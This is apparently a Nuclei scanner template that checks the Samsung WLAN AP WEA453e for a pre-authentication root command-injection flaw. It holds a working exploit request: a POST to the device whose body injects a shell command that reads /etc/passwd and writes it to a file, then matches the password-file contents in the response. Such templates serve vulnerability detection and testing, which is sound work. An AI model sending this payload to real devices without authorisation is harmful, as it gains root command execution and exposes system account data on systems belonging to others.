id: samsung-wlan-ap-rce

info:
  name: Samsung WLAN AP WEA453e - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Samsung WLAN AP WEA453e is vulnerable to a pre-auth root remote command execution vulnerability, which means an attacker could run code as root remotely without logging in.
  reference:
    - https://omriinbar.medium.com/samsung-wlan-ap-wea453e-vulnerabilities-7aa4a57d4dba
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: xss,samsung,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/(download)/tmp/poc.txt"

    body: "command1=shell%3Acat /etc/passwd|dd of=/tmp/poc.txt"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bin:.*:1:1"
        part: body

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100df25a7534742d1cda1b7547aa7a8158fb9a031fe66a9644f06017e5b515fb02c0220454aed242607a44273127c649974da60ba80e2abe8aef6f3b2163a17f22e59d4:922c64590222798bb761d5b6d8e72950
